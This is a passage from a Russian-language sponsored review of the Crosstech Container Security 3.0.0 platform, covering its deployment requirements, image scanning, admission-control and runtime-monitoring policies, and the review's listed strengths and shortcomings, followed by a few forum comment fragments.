helm-чарт ядра (без учёта сканера) должен иметь характеристики не ниже 8190 millicpu, 7410 MiB RAM.Для каждого экземпляра сканера: 3 CPU, 6 GB RAM, при добавлении дополнительных экземпляров значения увеличиваются пропорционально.В случае использования большего количества реплик значения пропорционально умножаются на их число. По умолчанию в чарте допускается до 6 реплик, что требует 18 CPU, 36 GB RAM.Каждый кластер для развёртывания чарт-агента должен иметь 2 CPU, 8 GB RAM.Необходимый минимум для каждой используемой СУБД PostgreSQL: 4 CPU, 8 GB RAM, 100 GB.Приведённые требования указаны для усреднённой конфигурации и могут быть изменены в зависимости от количества одновременных сканирований образов, генерируемых событий, деплоев, пространств имён (namespaces) и подов.Требования к программной частиДля корректной интеграции и работы приложение CTCS должно быть развёрнуто в кластере Kubernetes. При настройке системы в конфигурационном файле helm-чарта должны быть настроены необходимые параметры.Поддерживаемые контейнерные среды CRI (container runtime interface): containerd и docker.В момент выполнения инструкции на хосте администратора должны быть установлены следующие утилиты для выполнения установки:tar;helm;kubectl.Необходимые сервисы в инфраструктуре:PostgreSQL: рекомендуется размещать базу данных для хранения логов на отдельном инстансе от основной БД, чтобы избежать падения производительности основных операций при большом объёме логируемых событий;Keycloak (опционально, имеется возможность поставки в составе дистрибутива);Vault (опционально, имеется возможность использования стандартного объекта Kubernetes Secret).Требования к операционной системе и ядру:рекомендуется использовать ОС с версией ядра 5.4 или выше для обеспечения поддержки Tetragon;в ядре должна быть включена функция BTF;должны быть активированы модули eBPF и cgroup, а также корректным образом настроены или отключены модули безопасности Linux (LSM), контролирующие запуск eBPF-программ (в соответствии с официальной документацией Tetragon).Требования к версиям Kubernetes:центральная управляющая часть кластера – не ниже версии 1.23;дочерние кластеры – версия 1.23 или выше.Дополнительные требования:В кластере Kubernetes должен быть установлен, подключён и настроен storage class, в котором будет минимум 10 GB свободного места.В master-кластер должен быть установлен External Secrets (опционально).В дочерние кластеры должен быть установлен External Secrets (опционально).Во всех кластерах, где развёртывается ядро и агенты CTCS, должен быть установлен ingress-контроллер.Совокупность этих требований обеспечивает стабильную работу системы и корректное взаимодействие всех модулей CTCS. При соблюдении указанных параметров производительность решения остаётся предсказуемой даже при высокой интенсивности сканирований и большом количестве событий безопасности. Такой подход гарантирует надёжность, масштабируемость и устойчивость контейнерной инфраструктуры.Процесс установкиДля развёртывания CTCS вендор предоставляет архив, содержащий helm-чарты и образы системных контейнеров. При необходимости может быть предоставлена учётная запись для выгрузки дистрибутивов из репозиториев вендора напрямую.Сценарии использованияCrosstech Container Security закрывает ключевые задачи обеспечения безопасности контейнерных платформ — от анализа уязвимостей до защиты на уровне среды выполнения. Решение органично интегрируется в процессы DevSecOps и помогает компаниям повысить устойчивость инфраструктуры к современным киберугрозам без потери скорости разработки.Сценарий №1. Сканирование образовCTCS позволяет выполнять сканирование образов контейнеров, хранящихся как в интегрированных реестрах образов, так и локально в защищаемых кластерах. Рисунок 6. Подключённые реестры После интеграции с реестрами образов на вкладке «Образы» – «Реестры» отображается подключённый реестр и информация о хранящихся в нём образах. Реализовано в формате иерархии:Реестры.Название образа и количество его версий (тегов).Название образа и его версии.Карточка конкретного образа.Рисунок 7. Образ и список его версий Рисунок 8. Карточка образа На каждом уровне иерархии есть возможность запуска сканирования по требованию с выбором типа дефектов, которые будут учитываться в процессе сканирования. Дополнительно предоставляется общая информация об образе, данные о его соответствии установленным политикам, сведения о слоях образов с маппингом на обнаруженные дефекты. Рисунок 9. Слои образа На странице интеграций с реестрами в настройках доступно выставление расписания для проведения автоматизированного сканирования. Рисунок 10. Сканирование по расписанию Для работы с образами, обнаруженными локально в защищаемых кластерах, доступна отдельная вкладка «Образы» – «Локальные образы». Рисунок 11. Таблица локальных образов При запуске процесса сканирования доступен выбор ноды, на которой он будет проводиться. Если обнаруженный образ находится в интегрированном реестре, сканирование будет приоритетно выполняться на стороне ядра системы в рамках интеграции с реестром. Рисунок 12. Выбор нода для проведения сканирования Сценарий №2. Политики безопасности образов контейнеровВ рамках Crosstech Container Security реализовано создание политик безопасности для образов контейнеров. После их настройки система автоматически проверяет все известные образы на соответствие заданным критериям. По результатам проверки на карточке каждого образа отображается информация о соответствии или несоответствии политикам безопасности (Рисунок 7). Если образ нарушает несколько политик безопасности одновременно, в карточке отображается, какие именно политики безопасности были нарушены. Рисунок 13. Создание политики безопасности образов Сценарий №3. Контроль запуска контейнеровВ CTCS доступна интеграция с OPA Gatekeeper, обеспечивающая валидацию контейнерных деплоев и реагирование в соответствии с заданными политиками безопасности.При настройке политик безопасности доступен выбор режима реагирования — оповещение либо блокировка — а также определение перечня критериев безопасности, по которым будет осуществляться контроль. Рисунок 14. Таблица политик валидации и контроля запусков Политики безопасности могут создаваться по выделенным критериям (Рисунок 13) или импортироваться в виде кастомных политик (Рисунок 14). Рисунок 15. Создание политики валидации и контроля запусков Рисунок 16. Импорт кастомных политик безопасности Результаты срабатывания политик доступны в интерфейсе системы, что позволяет оперативно анализировать инциденты и корректировать настройки безопасности. Рисунок 17. Срабатывание политик валидации и контроля запусков Сценарий №4. Мониторинг безопасности сред выполненияВ текущей версии реализован мониторинг безопасности сред выполнения на базе Tetragon, что позволяет контролировать эксплуатацию рабочих нагрузок.В CTCS доступна форма для создания или импорта готовых политик безопасности с возможностью выбора области применения. Рисунок 18. Создание политики среды выполнения При срабатывании политик система отображает перечень событий в формате таблицы. Для каждого события можно перейти в режим детального просмотра, где отображается его идентификатор, дата и время создания, короткое описание и содержание в формате json. Рисунок 19. Событие срабатывания политики среды выполнения ВыводыАнализ решения Crosstech Container Security показал, что в версии 3.0.0 продукт предоставляет широкие функциональные возможности для защиты контейнерной инфраструктуры: от обеспечения безопасности образов контейнеров до контроля запуска и реагирования на нелегитимные процессы в средах выполнения в соответствии с политиками безопасности. CTCS также предоставляет инструменты для проведения сканирований защищаемых кластеров на соответствие стандартам конфигурирования, что повышает уровень безопасности контейнерной инфраструктуры.Достоинства:Архитектура. Благодаря однонаправленным соединениям со стороны ядра системы в сторону агентов защиты обеспечивается соответствие требованиям заказчиков, которые используют «Zero Trust»-модель на уровне сегментов инфраструктуры.Широкая площадь покрытия. CTCS обеспечивает контроль запуска контейнеров не только в рамках оркестратора Kubernetes, но и на отдельных хостах контейнеризации за счёт использования standalone-агентов.Гибкие возможности при работе с API. Весь функционал из веб-интерфейса CTCS также доступен для вызова через API, что позволяет специалистам заказчика решать нетривиальные задачи в рамках своей рабочей деятельности и интегрировать продукт в существующие процессы.Удобство при работе со сканированием образов. Иерархический подход обеспечивает гибкость при выборе области сканирования и повышает прозрачность анализа.Недостатки:Отсутствие возможности встраивания в процесс сборки (CI/CD) (планируется к реализации в первом квартале 2026 года).Отсутствие данных по ресурсам Kubernetes (Workloads, RBAC, Custom Resources, Feature Gates): планируется в 4-м квартале 2025 – 1-м квартале 2026).Отсутствие настройки гибкого разграничения прав доступа пользователей в интерфейс системы (реализация запланирована на первый квартал 2026).Отсутствие отчётности по результатам работы с системой (планируется в первом квартале 2026).Реклама, 18+. ООО «Кросстех Солюшнс Групп» ИНН 7722687219ERID: 2VfnxvVGwXfЧитать далее
    • demkd
    • PR55.RP55
      И ещё это: https://www.comss.ru/page.php?id=18330 Это и на работе Образов с Live CD может сказаться ?
×